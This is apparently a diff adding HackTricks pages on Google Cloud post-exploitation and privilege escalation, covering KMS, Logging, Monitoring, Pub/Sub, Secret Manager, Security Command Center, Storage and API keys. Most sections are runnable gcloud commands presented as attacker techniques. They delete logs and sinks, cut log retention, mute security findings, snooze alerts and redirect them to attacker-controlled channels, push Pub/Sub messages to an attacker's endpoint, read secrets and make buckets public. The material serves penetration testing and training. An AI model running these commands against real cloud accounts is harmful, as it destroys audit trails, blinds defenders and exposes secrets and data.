gcloud kms encrypt \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--plaintext-file my-plaintext-file.txt \
|
||||
--ciphertext-file my-encrypted-file.enc
|
||||
|
||||
# Decrypt it
|
||||
gcloud kms decrypt \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--ciphertext-file my-encrypted-file.enc \
|
||||
--plaintext-file -
|
||||
|
||||
|
||||
# Create an Import Job
|
||||
gcloud kms import-jobs create my-import-job \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--import-method "rsa-oaep-3072-sha1-aes-256" \
|
||||
--protection-level "software"
|
||||
|
||||
# Generate key material
|
||||
openssl rand -out my-key-material.bin 32
|
||||
|
||||
# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
|
||||
gcloud kms keys versions import \
|
||||
--import-job my-import-job \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--algorithm "google-symmetric-encryption" \
|
||||
--target-key-file my-key-material.bin
|
||||
|
||||
# Get versions
|
||||
gcloud kms keys versions list \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key
|
||||
|
||||
# Make new version primary
|
||||
gcloud kms keys update \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--primary-version 2
|
||||
|
||||
# Try to decrypt again (error)
|
||||
gcloud kms decrypt \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--ciphertext-file my-encrypted-file.enc \
|
||||
--plaintext-file -
|
||||
|
||||
# Disable initial version
|
||||
gcloud kms keys versions disable \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key 1
|
||||
|
||||
# Destroy the old version
|
||||
gcloud kms keys versions destroy \
|
||||
--location us-central1 \
|
||||
--keyring kms-lab-2-keyring \
|
||||
--key kms-lab-2-key \
|
||||
--version 1
|
||||
|
||||
```
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
|
||||
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
|
||||
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
|
||||
"""
|
||||
Encrypts data using a symmetric key from Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
|
||||
# Build the key name.
|
||||
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
|
||||
|
||||
# Convert the plaintext to bytes.
|
||||
plaintext_bytes = plaintext.encode('utf-8')
|
||||
|
||||
# Call the API.
|
||||
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
|
||||
ciphertext = encrypt_response.ciphertext
|
||||
|
||||
# Optional: Encode the ciphertext to base64 for easier handling.
|
||||
return base64.b64encode(ciphertext)
|
||||
|
||||
# Example usage
|
||||
project_id = 'your-project-id'
|
||||
location_id = 'your-location'
|
||||
key_ring_id = 'your-key-ring'
|
||||
key_id = 'your-key-id'
|
||||
plaintext = 'your-data-to-encrypt'
|
||||
|
||||
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
|
||||
print('Ciphertext:', ciphertext)
|
||||
```
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToSign`
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
|
||||
def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
|
||||
"""
|
||||
Sign a message using an asymmetric key version from Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
# Convert the message to bytes and calculate the digest.
|
||||
message_bytes = message.encode('utf-8')
|
||||
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
|
||||
|
||||
# Call the API to sign the digest.
|
||||
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
|
||||
return sign_response.signature
|
||||
|
||||
# Example usage for signing
|
||||
project_id = 'your-project-id'
|
||||
location_id = 'your-location'
|
||||
key_ring_id = 'your-key-ring'
|
||||
key_id = 'your-key-id'
|
||||
key_version = '1'
|
||||
message = 'your-message'
|
||||
|
||||
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
|
||||
print('Signature:', signature)
|
||||
```
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToVerify`
|
||||
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
|
||||
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
|
||||
"""
|
||||
Verify a signature using an asymmetric key version from Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
# Convert the message to bytes and calculate the digest.
|
||||
message_bytes = message.encode('utf-8')
|
||||
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
|
||||
|
||||
# Build the verify request and call the API.
|
||||
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
|
||||
return verify_response.success
|
||||
|
||||
# Example usage for verification
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+133
@@ -0,0 +1,133 @@
|
||||
# GCP - Logging Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to disrupt monitoring check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Default Logging
|
||||
|
||||
**By default you won't get caught just for performing read actions. Fore more info check the Logging Enum section.**
|
||||
|
||||
### Add Excepted Principal
|
||||
|
||||
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is possible to add principals to not generate logs. An attacker could abuse this to prevent being caught.
|
||||
|
||||
### Read logs - `logging.logEntries.list`
|
||||
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
|
||||
# Everything from a timestamp
|
||||
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json
|
||||
|
||||
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
|
||||
```
|
||||
|
||||
### `logging.logs.delete`
|
||||
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
```
|
||||
|
||||
### Write logs - `logging.logEntries.create`
|
||||
|
||||
```bash
|
||||
# Write a log entry to try to disrupt some system
|
||||
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
||||
```
|
||||
|
||||
### `logging.buckets.update`
|
||||
|
||||
```bash
|
||||
# Set retention period to 1 day (_Required has a fixed one of 400days)
|
||||
|
||||
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
|
||||
```
|
||||
|
||||
### `logging.buckets.delete`
|
||||
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
```
|
||||
|
||||
### `logging.links.delete`
|
||||
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
```
|
||||
|
||||
### `logging.views.delete`
|
||||
|
||||
```bash
|
||||
# Delete a logging view to remove access to anyone using it
|
||||
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
```
|
||||
|
||||
### `logging.views.update`
|
||||
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
```
|
||||
|
||||
### `logging.logMetrics.update`
|
||||
|
||||
```bash
|
||||
# Update log based metrics - logging.logMetrics.update
|
||||
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
||||
```
|
||||
|
||||
### `logging.logMetrics.delete`
|
||||
|
||||
```bash
|
||||
# Delete log based metrics - logging.logMetrics.delete
|
||||
gcloud logging metrics delete <metric-name>
|
||||
```
|
||||
|
||||
### `logging.sinks.delete`
|
||||
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
```
|
||||
|
||||
### `logging.sinks.update`
|
||||
|
||||
```bash
|
||||
# Disable sink - logging.sinks.update
|
||||
gcloud logging sinks update <sink-name> --disabled
|
||||
|
||||
# Createa filter to exclude attackers logs - logging.sinks.update
|
||||
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"
|
||||
|
||||
# Change where the sink is storing the data - logging.sinks.update
|
||||
gcloud logging sinks update <sink-name> new-destination
|
||||
|
||||
# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
|
||||
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID
|
||||
|
||||
# Remove explusions to try to overload with logs - logging.sinks.update
|
||||
gcloud logging sinks update SINK_NAME --clear-exclusions
|
||||
|
||||
# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
|
||||
gcloud logging sinks update SINK_NAME --use-partitioned-tables
|
||||
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+114
@@ -0,0 +1,114 @@
|
||||
# GCP - Monitoring Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Monitoring
|
||||
|
||||
Fore more information check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-monitoring-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to disrupt logs check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-logging-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### `monitoring.alertPolicies.delete`
|
||||
|
||||
Delete an alert policy:
|
||||
|
||||
```bash
|
||||
gcloud alpha monitoring policies delete <policy>
|
||||
```
|
||||
|
||||
### `monitoring.alertPolicies.update`
|
||||
|
||||
Disrupt an alert policy:
|
||||
|
||||
```bash
|
||||
# Disable policy
|
||||
gcloud alpha monitoring policies update <alert-policy> --no-enabled
|
||||
|
||||
# Remove all notification channels
|
||||
gcloud alpha monitoring policies update <alert-policy> --clear-notification-channels
|
||||
|
||||
# Chnage notification channels
|
||||
gcloud alpha monitoring policies update <alert-policy> --set-notification-channels=ATTACKER_CONTROLLED_CHANNEL
|
||||
|
||||
# Modify alert conditions
|
||||
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
|
||||
# or use --policy-from-file <policy-file>
|
||||
```
|
||||
|
||||
### `monitoring.dashboards.update`
|
||||
|
||||
Modify a dashboard to disrupt it:
|
||||
|
||||
```bash
|
||||
# Disrupt dashboard
|
||||
gcloud monitoring dashboards update <dashboard> --config='''
|
||||
displayName: New Dashboard with New Display Name
|
||||
etag: 40d1040034db4e5a9dee931ec1b12c0d
|
||||
gridLayout:
|
||||
widgets:
|
||||
- text:
|
||||
content: Hello World
|
||||
'''
|
||||
```
|
||||
|
||||
### `monitoring.dashboards.delete`
|
||||
|
||||
Delete a dashboard:
|
||||
|
||||
```bash
|
||||
# Delete dashboard
|
||||
gcloud monitoring dashboards delete <dashboard>
|
||||
```
|
||||
|
||||
### `monitoring.snoozes.create`
|
||||
|
||||
Prevent policies from generating alerts by creating a snoozer:
|
||||
|
||||
```bash
|
||||
# Stop alerts by creating a snoozer
|
||||
gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
|
||||
--start-time="2023-03-01T03:00:00.0-0500" \
|
||||
--end-time="2023-03-07T23:59:59.5-0500"
|
||||
```
|
||||
|
||||
### `monitoring.snoozes.update`
|
||||
|
||||
Update the timing of a snoozer to prevent alerts from being created when the attacker is interested:
|
||||
|
||||
```bash
|
||||
# Modify the timing of a snooze
|
||||
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
|
||||
|
||||
# odify everything, including affected policies
|
||||
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
|
||||
```
|
||||
|
||||
### `monitoring.notificationChannels.delete`
|
||||
|
||||
Delete a configured channel:
|
||||
|
||||
```bash
|
||||
# Delete channel
|
||||
gcloud alpha monitoring channels delete <channel>
|
||||
```
|
||||
|
||||
### `monitoring.notificationChannels.update`
|
||||
|
||||
Update labels of a channel to disrupt it:
|
||||
|
||||
```bash
|
||||
# Delete or update labels, for example email channels have the email indicated here
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+140
@@ -0,0 +1,140 @@
|
||||
# GCP - Pub/Sub Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
For more information about Pub/Sub check the following page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
{{#endref}}
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
Publish a message in a topic, useful to **send unexpected data** and trigger unexpected functionalities or exploit vulnerabilities:
|
||||
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
```
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Useful to prevent a subscription from receiving messages, maybe to avoid detection.
|
||||
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Useful to prevent a subscription from receiving messages, maybe to avoid detection.\
|
||||
It's possible to delete a topic even with subscriptions attached to it.
|
||||
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Use this permission to update some setting of the topic to disrupt it, like `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
Give yourself permission to perform any of the previous attacks.
|
||||
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Get all the messages in a web server:
|
||||
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
|
||||
Create a subscription and use it to **pull messages**:
|
||||
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
|
||||
# You also need pubsub.subscriptions.consume for this
|
||||
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
## This command will wait for a message to be posted
|
||||
```
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Delete a subscription** could be useful to disrupt a log processing system or something similar:
|
||||
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Use this permission to update some setting so messages are stored in a place you can access (URL, Big Query table, Bucket) or just to disrupt it.
|
||||
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Give yourself the permissions needed to perform any of the previously commented attacks.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\
|
||||
If there aren't any schemas you might need to create one.
|
||||
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
"type": "record",
|
||||
"name": "Person",
|
||||
"fields": [
|
||||
{
|
||||
"name": "name",
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"name": "age",
|
||||
"type": "int"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Attach new schema
|
||||
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
--schema=projects/<project-name>/schemas/<topic-id> \
|
||||
--message-encoding=json
|
||||
```
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
This might look like deleting a schema you will be able to send messages that doesn't fulfil with the schema. However, as the schema will be deleted no message will actually enter inside the topic. So this is **USELESS**:
|
||||
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Give yourself the permissions needed to perform any of the previously commented attacks.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
This is will create a snapshot of all the unACKed messages and put them back to the subscription. Not very useful for an attacker but here it's:
|
||||
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
|
||||
--snapshot=YOUR_SNAPSHOT_NAME
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
# GCP - Secretmanager Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secretmanager
|
||||
|
||||
For more information about Secret Manager check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
This give you access to read the secrets from the secret manager and maybe this could help to escalate privielegs (depending on which information is sotred inside the secret):
|
||||
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
# GCP - Security Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Security
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-security-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `securitycenter.muteconfigs.create`
|
||||
|
||||
Prevent generation of findings that could detect an attacker by creating a `muteconfig`:
|
||||
|
||||
```bash
|
||||
# Create Muteconfig
|
||||
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
|
||||
### `securitycenter.muteconfigs.update`
|
||||
|
||||
Prevent generation of findings that could detect an attacker by updating a `muteconfig`:
|
||||
|
||||
```bash
|
||||
# Update Muteconfig
|
||||
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
|
||||
### `securitycenter.findings.bulkMuteUpdate`
|
||||
|
||||
Mute findings based on a filer:
|
||||
|
||||
```bash
|
||||
# Mute based on a filter
|
||||
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
|
||||
A muted finding won't appear in the SCC dashboard and reports.
|
||||
|
||||
### `securitycenter.findings.setMute`
|
||||
|
||||
Mute findings based on source, findings...
|
||||
|
||||
```bash
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
```
|
||||
|
||||
### `securitycenter.findings.update`
|
||||
|
||||
Update a finding to indicate erroneous information:
|
||||
|
||||
```bash
|
||||
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
# GCP - Storage Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Storage
|
||||
|
||||
For more information about CLoud Storage check this page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give Public Access
|
||||
|
||||
It's possible to give external users (logged in GCP or not) access to buckets content. However, by default bucket will have disabled the option to expose publicly a bucket:
|
||||
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
|
||||
# Make all objects in a bucket public
|
||||
gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers --role=roles/storage.objectViewer
|
||||
## I don't think you can make specific objects public just with IAM
|
||||
|
||||
# Make a bucket or object public (via ACL)
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
|
||||
If you try to give **ACLs to a bucket with disabled ACLs** you will find this error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
To access open buckets via browser, access the URL `https://<bucket_name>.storage.googleapis.com/` or `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
# GCP - Workflows Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Workflow
|
||||
|
||||
Basic information:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-workflows-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
The post exploitation techniques are actually the same ones as the ones shared in the Workflows Privesc section:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-workflows-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,74 @@
|
||||
# GCP - Privilege Escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction to GCP Privilege Escalation <a href="#introduction-to-gcp-privilege-escalation" id="introduction-to-gcp-privilege-escalation"></a>
|
||||
|
||||
GCP, as any other cloud, have some **principals**: users, groups and service accounts, and some **resources** like compute engine, cloud functions…\
|
||||
Then, via roles, **permissions are granted to those principals over the resources**. This is the way to specify the permissions a principal has over a resource in GCP.\
|
||||
There are certain permissions that will allow a user to **get even more permissions** on the resource or third party resources, and that’s what is called **privilege escalation** (also, the exploitation the vulnerabilities to get more permissions).
|
||||
|
||||
Therefore, I would like to separate GCP privilege escalation techniques in **2 groups**:
|
||||
|
||||
- **Privesc to a principal**: This will allow you to **impersonate another principal**, and therefore act like it with all his permissions. e.g.: Abuse _getAccessToken_ to impersonate a service account.
|
||||
- **Privesc on the resource**: This will allow you to **get more permissions over the specific resource**. e.g.: you can abuse _setIamPolicy_ permission over cloudfunctions to allow you to trigger the function.
|
||||
- Note that some **resources permissions will also allow you to attach an arbitrary service account** to the resource. This means that you will be able to launch a resource with a SA, get into the resource, and **steal the SA token**. Therefore, this will allow to escalate to a principal via a resource escalation. This has happened in several resources previously, but now it’s less frequent (but can still happen).
|
||||
|
||||
Obviously, the most interesting privilege escalation techniques are the ones of the **second group** because it will allow you to **get more privileges outside of the resources you already have** some privileges over. However, note that **escalating in resources** may give you also access to **sensitive information** or even to **other principals** (maybe via reading a secret that contains a token of a SA).
|
||||
|
||||
> [!WARNING]
|
||||
> It's important to note also that in **GCP Service Accounts are both principals and permissions**, so escalating privileges in a SA will allow you to impersonate it also.
|
||||
|
||||
> [!NOTE]
|
||||
> The permissions between parenthesis indicate the permissions needed to exploit the vulnerability with `gcloud`. Those might not be needed if exploiting it through the API.
|
||||
|
||||
## Permissions for Privilege Escalation Methodology
|
||||
|
||||
This is how I **test for specific permissions** to perform specific actions inside GCP.
|
||||
|
||||
1. Download the github repo [https://github.com/carlospolop/gcp_privesc_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
|
||||
2. Add in tests/ the new script
|
||||
|
||||
## Bypassing access scopes <a href="#bypassing-access-scopes" id="bypassing-access-scopes"></a>
|
||||
|
||||
Tokens of SA leakded from GCP metadata service have **access scopes**. These are **restrictions** on the **permissions** that the token has. For example, if the token has the **`https://www.googleapis.com/auth/cloud-platform`** scope, it will have **full access** to all GCP services. However, if the token has the **`https://www.googleapis.com/auth/cloud-platform.read-only`** scope, it will only have **read-only access** to all GCP services even if the SA has more permissions in IAM.
|
||||
|
||||
There is no direct way to bypass these permissions, but you could always try searching for **new credentials** in the compromised host, **find the service key** to generate an OAuth token without restriction or **jump to a different VM less restricted**.
|
||||
|
||||
When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the computing instance (VM) will **have a** [**scope**](https://oauth.net/2/scope/) **limitation included**. However, you might be able to **bypass** this limitation and exploit the permissions the compromised account has.
|
||||
|
||||
The **best way to bypass** this restriction is either to **find new credentials** in the compromised host, to **find the service key to generate an OAuth token** without restriction or to **compromise a different VM with a SA less restricted**.
|
||||
|
||||
Check SA with keys generated with:
|
||||
|
||||
```bash
|
||||
for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
|
||||
echo "Looking for keys for $i:"
|
||||
gcloud iam service-accounts keys list --iam-account $i
|
||||
done
|
||||
```
|
||||
|
||||
## Privilege Escalation Techniques
|
||||
|
||||
The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other service account/users/groups privileges. Chaining escalations until you have admin access over the organization.
|
||||
|
||||
> [!WARNING]
|
||||
> GCP has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**.
|
||||
|
||||
**The subpages of this section are ordered by services. You can find on each service different ways to escalate privileges on the services.**
|
||||
|
||||
### Abusing GCP to escalate privileges locally
|
||||
|
||||
If you are inside a machine in GCP you might be able to abuse permissions to escalate privileges even locally:
|
||||
|
||||
{{#ref}}
|
||||
gcp-local-privilege-escalation-ssh-pivoting.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#gcp-privesc-scanner)
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,78 @@
|
||||
# GCP - Apikeys Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apikeys
|
||||
|
||||
The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.
|
||||
|
||||
For more information about API Keys check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to create API keys check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
As you might not know which APIs are enabled in the project or the restrictions applied to the API key you found, it would be interesting to run the tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**
|
||||
|
||||
